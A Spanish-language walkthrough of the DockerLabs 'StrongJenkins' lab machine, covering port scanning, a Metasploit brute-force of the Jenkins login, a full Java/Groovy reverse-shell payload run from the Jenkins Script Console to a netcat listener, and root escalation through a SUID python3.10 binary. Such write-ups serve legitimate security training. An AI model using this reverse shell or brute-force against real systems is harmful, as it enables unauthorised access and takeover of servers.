Máquina StrongJenkins de la plataforma DockerLabs creada por El pingüino de Mario donde explotaremos un jenkins y escalaremos a través de un binario SUID.
Reconocimiento
En primer lugar una vez que tenemos la máquina desplegada y activa es comprobar ante que sistema operativo nos enfrentamos y para ello uso la herramienta WhichSystem.py.
Como podemos ver la herramienta nos indica que estamos ante una máquina Linux ya que su ttl es de 64, en caso de ser una máquina Windows sería de 128.
Tras averiguar el S.O al que nos enfrentamos ahora toca comenzar con la enumeración, en concreto con el reconocimiento de puertos abiertos y servicios en la máquina víctima.
Para realizar el reconocimiento de puertos usaré la herramienta nmap.
nmap -p- -Pn -n --min-rate 5000 172.17.0.2
Tenemos el puerto 8080 abierto, pero aún no se que es lo que hay en ese puerto, por lo que realizo un escaneo para averiguarlo dirigido al puerto 8080.
nmap -p8080 -sSCV -n 172.17.0.2
Parece que estamos ante un servidor Jetty 10.0.20.
Jetty es un servidor HTTP 100% basado en Java y un contenedor de Servlets escrito en Java. Jetty se publica como un proyecto de software libre bajo la licencia Apache 2.0.
Pero antes de nada lanzo el comando whatweb
para obtener un poco más de información sobre las tecnologías que usa el servidor web.
Tras lanzar whatweb podemos ver que tenemos un login y que además de eso en el servidor web hay un jenkins, lo cual ya me da alguna pista de como podría ser la explotación de la máquina.
A continuación lo primero que hago es acceder al servidor web desde el navegador.
Tenemos un login, pero probando con las credenciales por defecto no consigo acceder, por lo que he de buscar la manera de obtenerlas.
Explotación
Ataque de Fuerza Bruta
Lo primero que se me ocurre es probar a lanzar un ataque de fuerza bruta, y para ello haré uso de metasploit, ya que incluye un módulo para hacer ataques de fuerza bruta al login de Jenkins.
auxiliary(scanner/http/jenkins_login)
Simplemente configuro los parámetros necesarios para realizar el ataque y lo lanzo.
Y como podemos ver obtenemos las credenciales del usuario administrador.
admin:rockyou
Ahora ya puedo iniciar sesión en el login de jenkins.
Jenkins Script Console - Reverse Shell
Una vez dentro me dirijo al apartado de Script Console, ya que a través de esa consola podemos ejecutar comandos y de esa manera podríamos intentar colar una shell inversa y ganar acceso a la máquina.
Si hacemos una pequeña búsqueda en internet rápidamente encontraremos la forma.
String host="<ip>";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Solo debemos modificar los parámetros* host y port*, ponernos en escucha a través de un oyente netcat y ejecutar el código.
Lo ejecutamos y recibimos la conexión en el oyente de netcat.
A continuación procedo a realizar el tratamiento de la tty para tener una shell más estable y funcional.
$ script /dev/null -c bash
Script started, file is /dev/null
jenkins@d4d9071883af:~$ ^Z
zsh: suspended nc -lvp 4444
❯ stty raw -echo; fg
[1] + continued nc -lvp 4444
reset
reset: unknown terminal type
Terminal type? xterm
export TERM=xterm
export SHELL=bash
Una vez realizado continuamos, y ahora toca escalar privilegios al usuario root.
Escalada de Privilegios
Para ello podemos usar alguna herramienta como linpeas o proceder a su enumeración de forma manual.
Lo primero que hago es buscar binarios con permisos SUID.
find / -perm -4000 -type f 2>/dev/null
Python3.10 - SUID
Me llama la atención que el binario python3.10 tenga permisos SUID, por lo que probablemente sea la vía para escalar privilegios.
Haciendo una breve búsqueda en internet, encuentro la forma de abusar de este binario para conseguir acceso root.
https://gtfobins.github.io/gtfobins/python/
Y ya nos hemos convertido en root, es decir, ya hemos pwneado la máquina Strong Jenkins.